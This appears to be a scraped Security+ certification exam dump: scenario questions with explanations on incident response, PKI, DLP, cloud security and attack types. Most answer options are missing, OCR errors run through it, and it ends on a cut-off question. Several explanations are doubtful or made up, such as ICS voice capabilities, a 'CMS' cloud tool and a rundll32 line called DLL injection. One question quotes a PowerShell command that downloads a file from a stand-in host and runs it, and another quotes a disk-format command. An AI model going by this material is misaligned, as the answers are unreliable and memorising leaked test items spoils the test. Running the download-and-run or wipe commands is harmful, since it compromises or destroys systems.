Anonymizing the data is the process of removing personally identifiable information (PII) from data sets, so that the people whom the data describe remain anonymous12. Anonymizing the data can safeguard the PHI records without impeding the testing process, because it can protect the privacy of the patients while preserving the data integrity and statistical accuracy for the application development team12. Anonymizing the data can be done by using techniques such as data masking, pseudonymization, generalization, data swapping, or data perturbation12.
Implementing a content filter is not the best way to safeguard the information, because it is a technique that blocks or allows access to certain types of content based on predefined rules or policies3. A content filter does not remove or encrypt PII from data sets, and it may not prevent unauthorized access or leakage of PHI records.
Deploying DLP tools is not the best way to safeguard the information, because it is a technique that monitors and prevents data exfiltration or transfer to unauthorized destinations or users. DLP tools do not remove or encrypt PII from data sets, and they may not be sufficient to protect PHI records from internal misuse or negligence.
Installing a FIM on the application server is not the best way to safeguard the information, because it is a technique that detects and alerts changes to files or directories on a system. FIM does not remove or encrypt PII from data sets, and it may not prevent unauthorized access or modification of PHI records.
An analyst is working on an investigation with multiple alerts for multiple hosts. The hosts are showing signs of being compromised by a fast-spreading worm. Which of the following should be the next step in order to stop the spread?
Placing all known-infected hosts on an isolated network is the best way to stop the spread of a worm infection. This will prevent the worm from reaching other hosts on the network and allow the infected hosts to be cleaned and restored. Disconnecting every host from the network is not practical and may disrupt business operations. Running an AV scan on the entire network or scanning the hosts that show signs of infection may not be effective or fast enough to stop a fast-spreading worm.
A security administrator would like to ensure all cloud servers will have software preinstalled for facilitating vulnerability scanning and continuous monitoring. Which of the following concepts should the administrator utilize?
Provisioning is the process of creating and setting up IT infrastructure, and includes the steps required to manage user and system access to various resources . Provisioning can be done for servers, cloud environments, users, networks, services, and more .
In this case, the security administrator wants to ensure that all cloud servers will have software preinstalled for facilitating vulnerability scanning and continuous monitoring. This means that the administrator needs to provision the cloud servers with the necessary software and configuration before they are deployed or used by customers or end users. Provisioning can help automate and standardize the process of setting up cloud servers and reduce the risk of human errors or inconsistencies.
Which of the following is a security implication of newer 1CS devices that are becoming more common in corporations?
Industrial control systems (ICS) are devices that monitor and control physical processes, such as power generation, manufacturing, or transportation. Newer ICS devices may have voice and audio capabilities that can be exploited by attackers to eavesdrop on sensitive conversations or capture confidential information. This can result in the loss of intellectual property or trade secrets. References: https://www.comptia.org/content/guides/what-is-industrial-control-system-security
A security administrator examines the ARP table of an access switch and sees the following output:
Which of the following is a potential threat that is occurring on this access switch?
ARP poisoning is a type of attack that exploits the ARP protocol to associate a malicious MAC address with a legitimate IP address on a network1. This allows the attacker to intercept, modify or drop traffic between the victim and other hosts on the same network. In this case, the ARP table of the access switch shows that the same MAC address (00-0c-29-58-35-3b) is associated with two different IP addresses (192.168.1.100 and 192.168.1.101) on port Fa0/12. This indicates that an attacker has poisoned the ARP table to redirect traffic intended for 192.168.1.100 to their own device with MAC address 00-0c-29-58-35-3b. The other options are not related to this scenario. DDoS is a type of attack that overwhelms a target with excessive traffic from multiple sources3. MAC flooding is a type of attack that floods a switch with fake MAC addresses to exhaust its MAC table and force it to operate as a hub4. DNS poisoning is a type of attack that corrupts the DNS cache with fake entries to redirect users to malicious websites.
References: 1: https://www.imperva.com/learn/application-security/arp-spoofing/ 2: https://community.cisco.com/t5/networking-knowledge-base/network-tables-mac-routing-arp/ta- p/4184148 3: https://www.imperva.com/learn/application-security/ddos-att ack/ 4: https://www.imperva.com/learn/application-security/mac-flooding/ : https://www.imperva.com/learn/application-security/dns-spoofing-poisoning/
After installing a patch On a security appliance. an organization realized a massive data exfiltration occurred. Which Of the following describes the incident?
A supply chain attack is a type of attack that involves compromising a trusted third-party provider or vendor and using their products or services to deliver malware or gain access to the target organization. The attacker can exploit the trust and dependency that the organization has on the provider or vendor and bypass their security controls. In this case, the attacker may have tampered with the patch for the security appliance and used it to exfiltrate data from the organization.
A company has numerous employees who store PHI data locally on devices. The Chief Information Officer wants to implement a solution to reduce external exposure of PHI but not affect the business.
The first step the IT team should perform is to deploy a DLP solution:
A DLP solution in monitoring mode is a good first step to deploy for data loss prevention. It allows the IT team to observe and analyze the data flows and activities without blocking or interfering with them. It helps to identify the sources and destinations of sensitive data, the types and volumes of data involved, and the potential risks and violations. It also helps to fine-tune the DLP policies and rules before switching to blocking mode, which can disrupt business operations if not configured properly.
A new security engineer has started hardening systems. One o( the hardening techniques the engineer is using involves disabling remote logins to the NAS. Users are now reporting the inability lo use SCP to transfer files to the NAS, even though the data is still viewable from the users' PCs. Which of the following is the MOST likely cause of this issue?
SSH is used to securely transfer files to the remote server and is required for SCP to work. Disabling SSH will prevent users from being able to use SCP to transfer files to the server. To enable SSH, the security engineer should modify the SSH configuration file (sshd.conf) and make sure that SSH is enabled. For more information on hardening systems and the security techniques that can be used, refer to the CompTIA Security+ SY0-601 Official Text Book and Resources.
A security administrator performs weekly vulnerability scans on all cloud assets and provides a detailed report. Which of the following describes the administrator's activities?
Continuous validation is a process that involves performing regular and automated tests to verify the security and functionality of a system or an application. Continuous validation can help identify and remediate vulnerabilities, bugs, or misconfigurations before they cause any damage or disruption. The security administrator’s activities of performing weekly vulnerability scans on all cloud assets and providing a detailed report are examples of continuous validation.
A security analyst is investigating a report from a penetration test. During the penetration test, consultants were able to download sensitive data from a back-end server. The back-end server was exposing an API that should have only been available from the companVs mobile
application. After reviewing the back-end server logs, the security analyst finds the following entries
Which of the following is the most likely cause of the security control bypass?
User-agent spoofing is a technique that allows an attacker to modify the user-agent header of an HTTP request to impersonate another browser or device12. User-agent spoofing can be used to bypass security controls that rely on user-agent filtering or validation12. In this case, the attacker spoofed the user-agent header to match the company’s mobile application, which was allowed to access the back-end server’s API2.
While troubleshooting a service disruption on a mission-critical server, a technician discovered the user account that was configured to run automated processes was disabled because the user's password failed to meet password complexity requirements. Which of the following would be the BEST solution to securely prevent future issues?
A service account is a user account that is created specifically to run automated processes and services. These accounts are typically not associated with an individual user, and are used for running background services and scheduled tasks. By configuring a service account to run the automated processes, you can ensure that the account will not be disabled due to password complexity requirements and other user-related issues.
A company would like to move to the cloud. The company wants to prioritize control and security over cost and ease of management. Which of the following cloud models would best suit this company's priorities?
A private cloud model would best suit the company's priorities of control and security over cost and ease of management. In a private cloud, the infrastructure is dedicated to a single organization, providing greater control over the environment and the ability to implement strict security measures. This is in contrast to public, community, or hybrid cloud models, where resources are shared among multiple organizations, potentially compromising control and security. While private clouds can be more expensive and more difficult to manage, they the highest level of control and security for the company.
An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the fle does and finds that executes the folowing script:
C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI https://somehost.com/04EB18.jpg -OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll
Which of the following BEST describes what the analyst found?
According to GitHub user JSGetty196’s notes1, a PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism.
Which of the following describes where an attacker can purchase DDoS or ransomware services?
The best option to describe where an attacker can purchase DDoS or ransomware services is the dark web. The dark web is an anonymous, untraceable part of the internet where a variety of illicit activities take place, including the purchase of DDoS and ransomware services. According to the CompTIA Security+ SY0-601 Official Text Book, attackers can purchase these services anonymously and without the risk of detection or attribution. Additionally, the text book recommends that organizations monitor the dark web to detect any possible threats or malicious activity.
Which of the following is the correct order of evidence from most to least volatile in forensic analysis?
The correct order of evidence from most to least volatile in forensic analysis is based on how quickly the evidence can be lost or altered if not collected or preserved properly. CPU cache is the most volatile type of evidence because it is stored in a small amount of memory on the processor and can be overwritten or erased very quickly. Memory is the next most volatile type of evidence because it is stored in RAM and can be lost when the system is powered off or rebooted. Temporary filesystems are less volatile than memory because they are stored on disk, but they can still be deleted or overwritten by other processes or users. Disk is the least volatile type of evidence because it is stored on permanent storage devices and can be recovered even after deletion or formatting, unless overwritten by new data. References: https://www.comptia.org/blog/what-is-volatility-in-digital -forensics
Which of the following should customers who are involved with Ul developer agreements be concerned with when considering the use of these products on highly sensitive projects?
Customers who are involved with Ul developer agreements should be concerned with weak configurations when considering the use of these products on highly sensitive projects. Weak configurations can lead to security vulnerabilities, which can be exploited by malicious actors. It is important to ensure that all configurations are secure and up-to-date in order to protect sensitive data. Source: UL
A security administrator installed a new web server. The administrator did this to increase the capacity for an application due to resource exhaustion on another server. Which of the
following algorithms should the administrator use to split the number of the connections on each server in half?
Round-robin is a type of load balancing algorithm that distributes traffic to a list of servers in rotation. It is a static algorithm that does not take into account the state of the system for the distribution of tasks. It assumes that all servers have equal capacity and can handle an equal amount of traffic.
A company was recently breached. Part of the company's new cybersecurity strategy is to centralize the logs from all security devices. Which of the following components forwards the logs to a central source?
A log collector can collect logs from various sources, such as servers, devices, applications, or network components, and forward them to a central source for analysis and storage23.
A network-connected magnetic resonance imaging (MRI) scanner at a hospital is controlled and operated by an outdated and unsupported specialized Windows OS. Which of the following
is most likely preventing the IT manager at the hospital from upgrading the specialized OS?
This option is the most likely reason for preventing the IT manager at the hospital from upgrading the specialized OS. The MRI scanner is a complex and sensitive device that requires a specific OS to control and operate it. The MRI vendor may not have developed or tested newer versions of the OS for compatibility and functionality with the scanner. Upgrading the OS without the vendor’s support may cause the scanner to malfunction or stop working altogether.
An organization wants to quickly assess how effectively the IT team hardened new laptops Which of the following would be the best solution to perform this assessment?
A vulnerability scanner is a tool that can scan devices and systems for known vulnerabilities, misconfigurations, and compliance issues. By loading the current baselines into the scanner, the organization can compare the actual state of the new laptops with the desired state and identify any deviations or weaknesses. This is a quick and automated way to assess the hardening of the new laptops.
Which of the following types of controls is a turnstile?
A turnstile is a physical security control that regulates the entry and exit of people into a facility or an area. It can prevent unauthorized access, tailgating, etc., by requiring valid credentials or tokens to pass through
Which Of the following is a primary security concern for a setting up a BYOD program?
Jailbreaking is a process of bypassing or removing the manufacturer-imposed restrictions on a mobile device’s operating system, allowing users to install unauthorized applications, modify settings, etc. It is a primary security concern for setting up a BYOD program because it can expose the device and its data to malware, vulnerabilities, unauthorized access, etc
A security engineer is setting up passwordless authentication for the first time.
Use the minimum set of commands to set this up and verify that it works. Commands cannot be reused.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
A screenshot of a computer Description automatically generated with medium confidence
An organization with a low tolerance for user inconvenience wants to protect laptop hard drives against loss or data theft. Which of the following would be the most acceptable?
SED stands for Self-Encrypting Drive, which is a type of hard drive that automatically encrypts and decrypts data using a built-in hardware encryption engine1. SEDs do not require any additional software or configuration, and they do not affect the performance or usability of the laptop2. SEDs also have a feature called Instant Secure Erase, which allows the user to quickly and securely wipe the data on the drive by deleting the encryption key1.
A building manager is concerned about people going in and out of the office during non-working hours. Which of the following physical security controls would provide the best solution?
Badges are physical security controls that provide a way to identify and authenticate authorized individuals who need to access a building or a restricted area. Badges can also be used to track the entry and exit times of people and monitor their movements within the premises. Badges can help deter unauthorized access by requiring people to present a valid credential before entering or leaving the office. Badges can also help prevent tailgating, which is when an unauthorized person follows an authorized person through a door or gate. Badges can be integrated with other security systems, such as locks, alarms, cameras, or biometrics, to enhance the level of protection.
A security engineer is building a file transfer solution to send files to a business partner. The users would like to drop off the files in a specific directory and have the server send the file to the business partner. The connection to the business partner is over the internet and needs to be secure. Which of the following can be used?
SSH stands for Secure Shell, which is a protocol that can be used to securely transfer files over the internet. SSH uses encryption and authentication to protect the data in transit and ensure the identity of the sender and receiver. SSH can also support compression, tunneling, and port forwarding. SSH can be used to send files to a business partner by using a command-line tool such as scp or sftp, or by using a graphical user interface (GUI) tool such as FileZilla or WinSCP. SSH can also be used to remotely access and manage servers or devices over the internet. References:
Which of the following terms should be included in a contract to help a company monitor the ongo-ing security maturity Of a new vendor?
A right-to-audit clause is a contractual provision that allows one party to audit the records and activities of another party to ensure compliance with security policies and standards. It can help a company monitor the ongoing security maturity of a new vendor by conducting annual security audits and identifying any gaps or issues that need to be addressed.
QUESTIO NO: 399
An organization has hired a red team to simulate attacks on its security pos-ture, which Of following will the blue team do after detecting an IOC?
A. Reimage the impacted workstations.
B. Activate runbooks for incident response.
C. Conduct forensics on the compromised system,
D. Conduct passive reconnaissance to gather information
A runbook is a set of predefined procedures and steps that guide an incident response team through the process of handling a security incident. It can help the blue team respond quickly and effectively to an indicator of compromise (IOC) by following the best practices and predefined actions for containment, eradication, recovery and lessons learned.
An analyst is working on an email security incident in which the target opened an attachment containing a worm. The analyst wants to Implement mitigation techniques to prevent further spread. Which of the following is the best course of action for the analyst to take?
Isolating the infected attachment is the best course of action for the analyst to take to prevent further spread of the worm. A worm is a type of malware that can self-replicate and infect other devices without human interaction. By isolating the infected attachment, the analyst can prevent the worm from spreading to other devices or networks via email, file-sharing, or other means. Isolating the infected attachment can also help the analyst to analyze the worm and determine its source, behavior, and impact. References:
Which of the following best reduces the security risks introduced when running systems that have expired vendor support and lack an immediate replacement?
Network access restrictions can limit the exposure of systems that have expired vendor support and lack an immediate replacement, as they can prevent unauthorized or unnecessary access to those systems from other devices or networks. Network access restrictions can include firewalls, network segmentation, VPNs, access control lists, and other methods that can filter or block traffic based on predefined rules or policies. Network access restrictions can reduce the security risks introduced by running systems that have expired vendor support, as they can mitigate the impact of potential vulnerabilities or exploits that may affect those systems. Verified References:
A company recently suffered a breach in which an attacker was able to access the internal mail servers and directly access several user inboxes. A large number of email messages were later posted online. Which of the following would bast prevent email contents from being released should another breach occur?
S/MIME stands for Secure/Multipurpose Internet Mail Extensions, which is a standard for encrypting and digitally signing email messages. S/MIME can provide confidentiality, integrity, authentication and non-repudiation for email communications. S/MIME can encrypt the emails at rest, which means that the email contents are protected even if they are stored on the mail servers or the user inboxes. S/MIME can prevent email contents from being released should another breach occur, as the attacker would not be able to decrypt or read the encrypted emails without the proper keys or certificates. Verified References:
A security analyst is currently addressing an active cyber incident. The analyst has been able to identify affected devices that are running a malicious application with a unique hash. Which of the following is the next step according to the incident response process?
Containment is the next step according to the incident response process after identifying affected devices that are running a malicious application with a unique hash. Containment involves isolating the compromised devices or systems from the rest of the network to prevent the spread of the attack and limit its impact. Containment can be done by disconnecting the devices from the network, blocking network traffic to or from them, or applying firewall rules or access control lists. Containment is a critical step in incident response because it helps to preserve evidence for further analysis and remediation, and reduces the risk of data loss or exfiltration
A security analyst is taking part in an evaluation process that analyzes and categorizes threat actors Of real-world events in order to improve the incident response team's process. Which Of the following is the analyst most likely participating in?
MITRE ATT&CK is a knowledge base and framework that analyzes and categorizes threat actors and real-world events based on their tactics, techniques and procedures. It can help improve the incident response team’s process by providing a common language and reference for identifying, understanding and mitigating threats
An organization routes all of its traffic through a VPN Most users are remote and connect into a corporate data center that houses confidential information There is a firewall at the internet border, followed by a DLP appliance, the VPN server and the data center itself Which of the following is the weakest design element?
VPN (Virtual Private Network) traffic is encrypted to protect its confidentiality and integrity over the internet. However, this also means that it cannot be inspected by security devices or tools when entering or leaving the network, unless it is decrypted first. This can create a blind spot or a vulnerability for the network security posture, as malicious traffic or data could bypass detection or prevention mechanisms by using VPN encryption
A software development manager wants to ensure the authenticity of the code created by the company. Which of the following options is the most appropriate?
Code signing is a cryptographic process that allows software developers to digitally sign their code. This ensures that the code has not been tampered with since it was signed and that it came from a trusted source.
Testing input validation on the user input fields is important for preventing malicious code from being entered into a system. However, it does not address the authenticity of the code itself.
Performing static code analysis on the software can help to identify security vulnerabilities. However, it cannot guarantee that the code has not been tampered with.
Ensuring secure cookies are used is important for preventing unauthorized access to user data. However, it does not address the authenticity of the code itself.
Therefore, the most appropriate option to ensure the authenticity of the code created by the company is to perform code signing on the software.
Here are some additional benefits of code signing:
A user downloaded an extension for a browser, and the user's device later became infected. The analyst who Is Investigating the Incident saw various logs where the attacker was hiding activity by deleting data. The following was observed running:
New-Partition -DiskNumber 2 -UseMaximumSize -AssignDriveLetter C| Format-Volume -Driveletter C - FileSystemLabel "New"-FileSystem NTFS - Full -Force -Confirm:$false
Which of the following is the malware using to execute the attack?
PowerShell is a scripting language and command-line shell that can be used to automate tasks and manage systems. PowerShell can also be used by malware to execute malicious commands and evade detection. The code snippet in the question is a PowerShell command that creates a new partition on disk 2, formats it with NTFS file system, and assigns it a drive letter C. This could be part of an attack that wipes out the original data on the disk or creates a hidden partition for storing malware or stolen data. References:
During a security incident the security operations team identified sustained network traffic from a malicious IP address: 10.1.4.9 A security analyst is creating an inbound firewall rule to block the IP address from accessing the organization's network. Which of the following fulfills this request?
This command creates an inbound access list that denies any IP traffic from the source IP address of 10.1.4.9/32 to any destination IP address (0.0.0.0/0). It blocks the originating source of malicious traffic from accessing the organization’s network.
Which of the following describes the exploitation of an interactive process to gain access to restricted areas?
Privilege escalation describes the exploitation of an interactive process to gain access to restricted areas. It is a type of attack that allows a normal user to obtain higher privileges or access rights on a system or network, such as administrative or root access. Privilege escalation can be achieved by exploiting a vulnerability, design flaw, or misconfiguration in the system or application. Privilege escalation can allow an attacker to perform unauthorized actions, such as accessing sensitive data, installing malware, or compromising other systems. References:
Which of the following can best protect against an employee inadvertently installing malware on a company system?
Least privilege is a security principle that states that users should only be granted the permissions they need to do their job. This helps to protect against malware infections by preventing users from installing unauthorized software.
A host-based firewall can help to protect against malware infections by blocking malicious traffic from reaching a computer. However, it cannot prevent a user from installing malware if they have the necessary permissions.
System isolation is the practice of isolating systems from each other to prevent malware from spreading. This can be done by using virtual machines or network segmentation. However, system isolation can be complex and expensive to implement.
An application allow list is a list of applications that are allowed to run on a computer. This can help to prevent malware infections by preventing users from running unauthorized applications. However, an application allow list can be difficult to maintain and can block legitimate applications.
Therefore, the best way to protect against an employee inadvertently installing malware on a company system is to use the principle of least privilege. This will help to ensure that users only have the permissions they need to do their job, which will reduce the risk of malware infections.
Here are some additional benefits of least privilege:
A company wants to deploy PKI on its internet-facing website The applications that are currently deployed are
• www company.com (mam website)
• contact us company com (for locating a nearby location)
• quotes company.com (for requesting a price quote)
The company wants to purchase one SSL certificate that will work for all the existing applications and any future applications that follow the same naming conventions, such as store company com Which of the following certificate types would best meet the requirements?
A wildcard certificate is a type of SSL certificate that can secure multiple subdomains under one domain name by using an asterisk (*) as a placeholder for any subdomain name. For example, *.company.com can secure www.company.com, contactus.company.com, quotes.company.com, etc. It can work for all the existing applications and any future applications that follow the same naming conventions, such as store.company.com.
A systems administrator is required to enforce MFA for corporate email account access, relying on the possession factor. Which of the following authentication methods should the systems administrator choose? (Select two).
Time-based one-time password (TOTP) and hardware token are authentication methods that rely on the possession factor, which means that the user must have a specific device or object in their possession to authenticate. A TOTP is a password that is valid for a short period of time and is generated by an app or a device that the user has. A hardware token is a physical device that displays a code or a password that the user can enter to authenticate. A passphrase (Option A) is a knowledge factor, while facial recognition (Option C), retina scan (Option D), and fingerprints (Option F) are all inherence factors.
A company's help desk received several AV alerts indicating Mimikatz attempted to run on the remote systems Several users also reported that the new company flash drives they picked up in the break room only have 512KB of storage Which of the following is most likely the cause?
Mimikatz is a tool that can extract plaintext credentials from memory on Windows systems. A malicious flash drive can bypass the GPO blocking the flash drives by using techniques such as autorun.inf or HID spoofing to execute Mimikatz on the target system without user interaction or consent. This can cause AV alerts indicating Mimikatz attempted to run on the remote systems and also reduce the storage capacity of the flash drives to only 512KB by creating hidden partitions or files on them.
A company needs to centralize its logs to create a baseline and have visibility on its security events Which of the following technologies will accomplish this objective?
Security information and event management (SIEM) is a solution that collects, analyzes, and correlates logs and events from various sources such as firewalls, servers, applications, etc., within an organization’s network. It can centralize logs to create a baseline and have visibility on security events by providing a unified dashboard and reporting system for log management and security monitoring.
A security engineer obtained the following output from a threat intelligence source that recently performed an attack on the company's server:
Which of the following best describes this kind of attack?
Directory traversal is a type of web application attack that involves exploiting a vulnerability in the web server or application to access files or directories that are outside the intended scope or root directory. It can allow an attacker to read, modify, or execute files on the target system by using special characters such as …/ or %2e%2e/ to manipulate the path or URL. In this case, the attacker used …/ to access the /etc/passwd file, which contains user account information on Linux systems.
A security analyst notices an unusual amount of traffic hitting the edge of the network. Upon examining the logs, the analyst identifies a source IP address and blocks that address from communicating with the network. Even though the analyst is blocking this address, the attack is still ongoing and coming from a large number of different source IP addresses. Which of the following describes this type of attack?
A distributed denial-of-service (DDoS) attack is an attempt to make a computer or network resource unavailable to its intended users. This is accomplished by overwhelming the target with a flood of traffic from multiple sources.
In the scenario described, the security analyst identified a source IP address and blocked it from communicating with the network. However, the attack was still ongoing and coming from a large number of different source IP addresses. This indicates that the attack was a DDoS attack.
Privilege escalation is an attack that allows an attacker to gain unauthorized access to a system or network. DNS poisoning is an attack that modifies the DNS records for a domain name, causing users to be redirected to a malicious website. A buffer overflow is an attack that occurs when a program attempts to store more data in a buffer than it is designed to hold.
Therefore, the most likely type of attack in the scenario described is a DDoS attack.
A technician is setting up a new firewall on a network segment to allow web traffic to the internet while hardening the network. After the firewall is configured, users receive errors stating the website could not be located. Which of the following would best correct the issue?
Port 53 is the default port for DNS traffic. If the firewall is blocking port 53, then users will not be able to resolve domain names and will receive errors stating that the website could not be located.
The other options would not correct the issue. Setting an explicit deny to all traffic using port 80 instead of 443 would block all HTTP traffic, not just web traffic. Moving the implicit deny from the bottom of the rule set to the top would make the deny rule more restrictive, which would not solve the issue. Configuring the first line in the rule set to allow all traffic would allow all traffic, including malicious traffic, which is not a good security practice.
Therefore, the best way to correct the issue is to ensure that port 53 has been explicitly allowed in the rule set.
Here are some additional information about DNS traffic:
An organization is building a new headquarters and has placed fake cameras around the building in an attempt to discourage potential intruders. Which of the following kinds of controls describes this security method?
A deterrent control is a type of security control that is designed to discourage potential intruders from attempting to access or harm a system or network. A deterrent control relies on the perception or fear of negative consequences rather than the actual enforcement of those consequences. A deterrent control can also be used to influence the behavior of authorized users by reminding them of their obligations and responsibilities. An example of a deterrent control is placing fake cameras around the building, as it can create the illusion of surveillance and deter potential intruders from trying to break in. Other examples of deterrent controls are warning signs, security guards, or audit trails. References:
After multiple on-premises security solutions were migrated to the cloud, the incident response time increased The analysts are spending a long time trying to trace information on different cloud consoles and correlating data in different formats. Which of the following can be used to optimize the incident response time?
CMS (Cloud Management System) is a software or platform that allows an organization to manage and monitor multiple cloud services and resources from a single interface or console. It can optimize the incident response time by providing a centralized view and control of the cloud infrastructure and applications, and enabling faster detection, analysis, and remediation of security incidents across different cloud environments.
An annual information security assessment has revealed that several OS-level configurations are not in compliance due to outdated hardening standards the company is using. Which of the following would be best to use to update and reconfigure the OS-level security configurations?
CIS benchmarks are best practices and standards for securing various operating systems, applications, cloud environments, etc. They are developed by a community of experts and updated regularly to reflect the latest threats and vulnerabilities. They can be used to update and reconfigure the OS-level security configurations to ensure compliance and reduce risks.
Which of the following tools can assist with detecting an employee who has accidentally emailed a file containing a customer's Pll?
DLP stands for Data Loss Prevention, which is a technology that can monitor, detect and prevent the unauthorized transmission of sensitive data, such as PII (Personally Identifiable Information). DLP can be implemented on endpoints, networks, servers or cloud services to protect data in motion, in use or at rest. DLP can also block or alert on data transfers that violate predefined policies or rules. DLP is the best tool to assist with detecting an employee who has accidentally emailed a file containing a customer’s PII, as it can scan the email content and attachments for any data that matches the criteria of PII and prevent the email from being sent or notify the administrator of the incident. Verified References:
A financial institution would like to store its customer data in the cloud but still allow the data to be accessed and manipulated while encrypted. Doing so would prevent the cloud service provider from being able to decipher the data due to its sensitivity. The financial institution Is not concerned about computational overheads and slow speeds. Which of the following cryptographic techniques would best meet the requirement?
Homomorphic encryption is a cryptographic technique that allows data to be stored, accessed and manipulated while encrypted. Homomorphic encryption enables computations to be performed on ciphertexts, generating an encrypted result that, when decrypted, matches the result of the operations as if they had been performed on the plaintext. Homomorphic encryption can prevent the cloud service provider from being able to decipher the data due to its sensitivity, as the data remains encrypted at all times. Homomorphic encryption is not concerned about computational overheads and slow speeds, as it trades off performance for security and privacy. References:
A security administrator needs to inspect in-transit files on the enterprise network to search for PI I credit card data, and classification words Which of the following would be the best to use?
A network DLP (Data Loss Prevention) solution is a tool that monitors and controls the data that is transmitted over a network. It can inspect in-transit files on the enterprise network to search for PII (Personally Identifiable Information), credit card data, and classification words by using predefined rules and policies, and then block, encrypt, quarantine, or alert on any sensitive data that is detected or leaked.
A security analyst discovers that a company's username and password database were posted on an internet forum. The usernames and passwords are stored in plaintext. Which of the following would mitigate the damage done by this type of data exfiltration in the future?
Salting and hashing are techniques that can improve the security of passwords stored in a database by making them harder to crack or reverse-engineer by hackers who might access the database12.
Salting is the process of adding a unique, random string of characters known only to the site to each password before it is hashed2. Hashing is the process of converting a password into a fixed-length string of characters, which cannot be reversed3. Salting and hashing ensure that the encryption process results in a different hash value, even when two passwords are the same1. This makes it more difficult for an attacker to use pre-computed tables or dictionaries to guess the passwords, or to exploit duplicate hashes in the database4.
A newly purchased corporate WAP needs to be configured in the MOST secure manner possible.
Please click on the below items on the network diagram and configure them accordingly:
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Wireless Access Point
Network Mode – G only
Wireless Channel – 11
Wireless SSID Broadcast – disable
Security settings – WPA2 Professional
A large retail store's network was breached recently. and this news was made public. The Store did not lose any intellectual property, and no customer information was stolen. Although no fines were incurred as a result, the Store lost revenue after the breach. Which of the following is the
most likely reason for this issue?
Reputation is the perception or opinion that customers, partners, investors, etc., have about a company or its products and services. It can affect the revenue and profitability of a company after a network breach, even if no intellectual property or customer information was stolen, because it can damage the trust and confidence of the stakeholders and reduce their willingness to do business with the company
A malicious actor recently penetrated a company's network and moved laterally to the data center Upon investigation a forensics firm wants to know what was in the memory on the compromised server Which of the following files should be given to the forensics firm?
A dump file is a file that contains the contents of memory at a specific point in time. It can be used for debugging or forensic analysis of a system or an application. It can reveal what was in the memory on the compromised server, such as processes, variables, passwords, encryption keys, etc.
Which of the following is constantly scanned by internet bots and has the highest risk of attack in the case of the default configurations?
Surveillance systems are constantly scanned by internet bots and have the highest risk of attack in the case of the default configurations because they are often connected to the internet and use weak or default passwords that can be easily guessed or cracked by malicious bots. Internet bots are software applications that run automated tasks over the internet, usually with the intent to imitate human activity or exploit vulnerabilities. Some bots are used for legitimate purposes, such as web crawling or indexing, but others are used for malicious purposes, such as spamming, phishing, denial-of-service attacks, or credential stuffing. Security misconfigurations are one of the most common gaps that criminal hackers look to exploit. Therefore, it is important to secure the configuration of surveillance systems by changing the default passwords, updating the firmware, disabling unnecessary services, and enabling encryption and authentication.
An organization is repairing damage after an incident. Which Of the following controls is being implemented?
Corrective controls are security measures that are implemented after an incident to repair the damage and restore normal operations. They can include actions such as patching systems, restoring backups, removing malware, etc. An organization that is repairing damage after an incident is implementing corrective controls.
A company wants to deploy decoy systems alongside production systems in order to entice threat actors and to learn more about attackers. Which of the follow r 3 best describes these systems?
Honey pots are decoy systems or resources that are designed to attract and deceive threat actors and to learn more about their motives, techniques, etc. They can be deployed alongside production systems to create an illusion of a vulnerable target and divert attacks away from the real systems. They can also collect valuable information and evidence about the attackers and their activities for further analysis or prosecution.
A company wants to build a new website to sell products online. The website wd I host a storefront application that allow visitors to add products to a shopping cart and pay for products using a credit card. which Of the following protocols •would be most secure to implement?
TLS (Transport Layer Security) is a cryptographic protocol that provides secure communication over the internet. It can protect the data transmitted between the website and the visitors from eavesdropping, tampering, etc. It is the most secure protocol to implement for a website that sells products online using a credit card.
A company is auditing the manner in which its European customers’ personal information is handled. Which of the following should the company consult?
GDPR stands for General Data Protection Regulation, which is a legal framework that sets guidelines for the collection and processing of personal information of individuals within the European Union (EU). GDPR also applies to organizations outside the EU that offer goods or services to, or monitor the behavior of, EU data subjects. GDPR aims to protect the privacy and rights of EU citizens and residents regarding their personal data. GDPR defines personal data as any information relating to an identified or identifiable natural person, such as name, identification number, location data, online identifiers, or any factors specific to the physical, physiological, genetic, mental, economic, cultural, or social identity of that person. A company that is auditing the manner in which its European customers’ personal information is handled should consult GDPR to ensure compliance with its rules and obligations. References:
Select the appropriate attack and remediation from each drop-down list to label the corresponding attack with its remediation.
Not all attacks and remediation actions will be used.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Web serverBotnet Enable DDoS protectionUser RAT Implement a host-based IPSDatabase server Worm Change the default application passwordExecutive KeyloggerDisable vulnerable servicesApplication Backdoor Implement 2FA using push notification
A screenshot of a computer program Description automatically generated with low confidence
Which Of the following vulnerabilities is exploited an attacker Overwrite a reg-ister with a malicious address that changes the execution path?
A buffer overflow is a type of vulnerability that occurs when an attacker sends more data than a buffer can hold, causing the excess data to overwrite adjacent memory locations such as registers. It can allow an attacker to overwrite a register with a malicious address that changes the execution path and executes arbitrary code on the target system
A security analyst discovers that one of the web APIs is being abused by an unknown third party. Logs indicate that the third party is attempting to manipulate the parameters being passed to the API endpoint. Which of the following solutions would best help to protect against the attack?
WAF stands for Web Application Firewall, which is a type of firewall that can monitor, filter and block web traffic to and from web applications. WAF can protect web applications from common attacks such as cross-site scripting (XSS), SQL injection, directory traversal, buffer overflow and more. WAF can also enforce security policies and rules that can prevent parameter manipulation or tampering by an unknown third party. WAF is the best solution to help protect against the attack on the web API, as it can inspect the HTTP requests and responses and block any malicious or anomalous activity. Verified References:
A research company discovered that an unauthorized piece of software has been detected on a small number of machines in its lab The researchers collaborate with other machines using port 445 and on the internet using port 443 The unau-thorized software is starting to be seen on additional machines outside of the lab and is making outbound communications using HTTPS and SMS. The security team has been instructed to resolve the issue as quickly as possible while causing minimal disruption to the researchers. Which of the following is the best course Of
action in this scenario?
Containment is an incident response strategy that aims to isolate and prevent the spread of an attack or compromise within a network or system. It can resolve the issue of unauthorized software detected on a small number of machines in a lab as quickly as possible while causing minimal disruption to the researchers by stopping the software from communicating with external sources using HTTPS and SMS and preventing it from infecting additional machines outside of the lab
A government organization is developing an advanced Al defense system. Develop-ers are using information collected from third-party providers Analysts are no-ticing inconsistencies in the expected powers Of then learning and attribute the Outcome to a recent attack on one of the suppliers. Which of the following IS the most likely reason for the inaccuracy of the system?
